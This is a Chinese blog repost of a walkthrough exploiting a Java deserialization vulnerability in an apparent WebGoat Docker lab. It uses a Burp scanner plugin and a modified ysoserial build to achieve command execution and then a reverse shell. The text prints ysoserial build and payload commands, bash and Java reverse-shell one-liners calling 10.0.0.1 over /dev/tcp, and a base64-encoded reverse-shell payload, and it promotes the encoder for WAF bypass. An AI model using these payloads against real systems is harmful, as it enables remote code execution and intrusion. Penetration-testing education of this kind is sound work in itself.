博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
java反序列化漏洞POP查找_Java反序列化漏洞:在受限环境中从漏洞发现到获取反向Shell...
阅读量:5899 次
发布时间:2019-06-19

本文共 3357 字,大约阅读时间需要 11 分钟。

433a7c526602a8b01146defb112b02a5.png

启动Burp并安装一个名为Java-Deserialization-Scanner的插件。该插件主要包括2个功能:扫描以及基于ysoserial生成exploit。

5c2328ec5a0ad0925efb844860be94ee.png

扫描远程端点后,Burp插件将向我们返回以下报告内容:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!

是个好消息!

漏洞利用

现在,让我们继续下一步操作。点击exploitation选项卡以实现任意命令执行。

a7127bf18d701f3a6924c1a3bff5e37b.png

从提示信息来看,这个错误应该来自ysoserial。我们回到控制台看看究竟是什么问题。

7201397f1e9ac5f1a0a3473ffc99312e.png

通过观察ysoserial,我看到有两种不同的POP链可用于Hibernate。但使用这些payload后,我发现它们都没有在目标系统上成功执行。

85b0627bce3ccc1389445c2c624f4599.png

那么,插件又是如何生成payload来触发sleep命令的呢?

我决定查看插件的源码:

https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java

https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java

经过一番仔细查看,我发现原来payload在插件的源码中是硬编码的。因此,我们需要找到一种方法来生成相同的payload以使其正常工作。

46f513d2245e759275802f418ea269a5.png

基于一些研究和帮助我发现,通过修改当前版本的ysoserial可以使我们的payload正常工作。我下载了ysoserial的源码,并决定使用Hibernate 5重新对其进行编译。想要使用Hibernate 5成功构建ysoserial,我们还需要将javax.el包添加到pom.xml文件中。

此外,我还向原始项目发送了一个Pull请求,以便在选择hibernate5配置文件时修复构建。

6fb0d9d2d761d5615bf8b9728bbfee78.png

现在,我们就可以使用以下命令开始重新构建ysoserial了:

mvn clean package -DskipTests -Dhibernate5

然后,我们使用以下命令来生成payload:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0

ee157eed979188dc445c3a52ebb59fe0.png

我们可以通过以下命令访问docker容器,来验证我们的命令是否已成功执行:

docker exec -it /bin/bash

可以看到我们的payload已在目标机器上成功执行了!

ab3a9a68539c52aa0bdd5cb29c75f37a.png

我们继续枚举目标机器上的二进制文件。

webgoat@1d142ccc69ec:/$ which php webgoat@1d142ccc69ec:/$ which python webgoat@1d142ccc69ec:/$ which python3 webgoat@1d142ccc69ec:/$ which wget webgoat@1d142ccc69ec:/$ which curl webgoat@1d142ccc69ec:/$ which nc webgoat@1d142ccc69ec:/$ which perl /usr/bin/perl webgoat@1d142ccc69ec:/$ which bash /bin/bash webgoat@1d142ccc69ec:/$

只有Perl和Bash可用。让我们尝试生成一个可向我们发送反向shell的payload。

以下是Pentest Monkeys上的一些单行反向shell:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

我决定尝试Bash反向shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

但你可能知道java.lang.Runtime.exec()具有一定的局限性,它不支持重定向或管道等shell操作符。

让我们试试Java编写的反向shell。我将修改Gadgets.java上的源码,来生成反向shell payload。

以下是我们需要修改的路径:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java

从第116到118行。

下面是Pentest Monkeys上提到的一个Java反向shell,但依然无法正常工作:

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[]) p.waitFor()

在进行了一番修改后,结果如下:

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat &5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);

让我们再次重建ysoserial,并测试生成的payload。

9e504e98770aac6599dd7e81b7002c14.png

可以看到,这次我们成功获取到了一个反向shell!

65c36d67b0c3f3b4525c370cdb24dc17.png

太棒了!

faccd69ba662efc73eca3eef845f47bb.png

Payload生成过程概述

在研究过程中,我们发现了这个编码器,它也可以帮助我们完成这个任务:

http://jackson.thuraisamy.me/runtime-exec-payloads.html

http://jackson.thuraisamy.me/runtime-exec-payloads.html

通过以下Bash反向shell命令:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1

将会为我们生成如下payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

另外,该编码器还可用于绕过WAF哦!不信你就试试~

参考文献

1、https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/

2、http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/

3、https://github.com/frohoff/ysoserial

4、https://github.com/federicodotta/Java-Deserialization-Scanner

1、https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/

2、http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/

3、https://github.com/frohoff/ysoserial

4、https://github.com/federicodotta/Java-Deserialization-Scanner

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

你可能感兴趣的文章
Hadoop生态圈-Kafka的完全分布式部署
查看>>
css的border的solid
查看>>
[MODx] Build a CMP (Custom manager page) using MIGX in MODX 2.3 -- 1
查看>>
jQuery自动完成点击html元素
查看>>
[算法]基于分区最近点算法的二维平面
查看>>
webpack多页应用架构系列(七):开发环境、生产环境傻傻分不清楚?
查看>>
笨办法学C 练习1:启用编译器
查看>>
树的总结--树的性质(树的深度) leetcode
查看>>
nagios短信报警(飞信fetion20080522004-linrh4)
查看>>
【Android游戏开发之六】在SurfaceView中添加组件!!!!并且相互交互数据!!!!...
查看>>
linux 将大文件分成小文件
查看>>
CCNA- 距离矢量路由协议学习
查看>>
企业实践用户邮箱导入/导出(第2部分)
查看>>
如何学习Linux命令-初级篇
查看>>
从Oracle Public Yum为Oracle Linux建立本地的Yum源
查看>>
在 SELECT 查询中使用表表达式
查看>>
静态路由和默认路由
查看>>
关于阿里开发者招聘节 |这5道笔试真题 你会吗!???
查看>>
C#的异常处理机制
查看>>
vsftp:500 OOPS: could not bind listening IPv4 sock
查看>>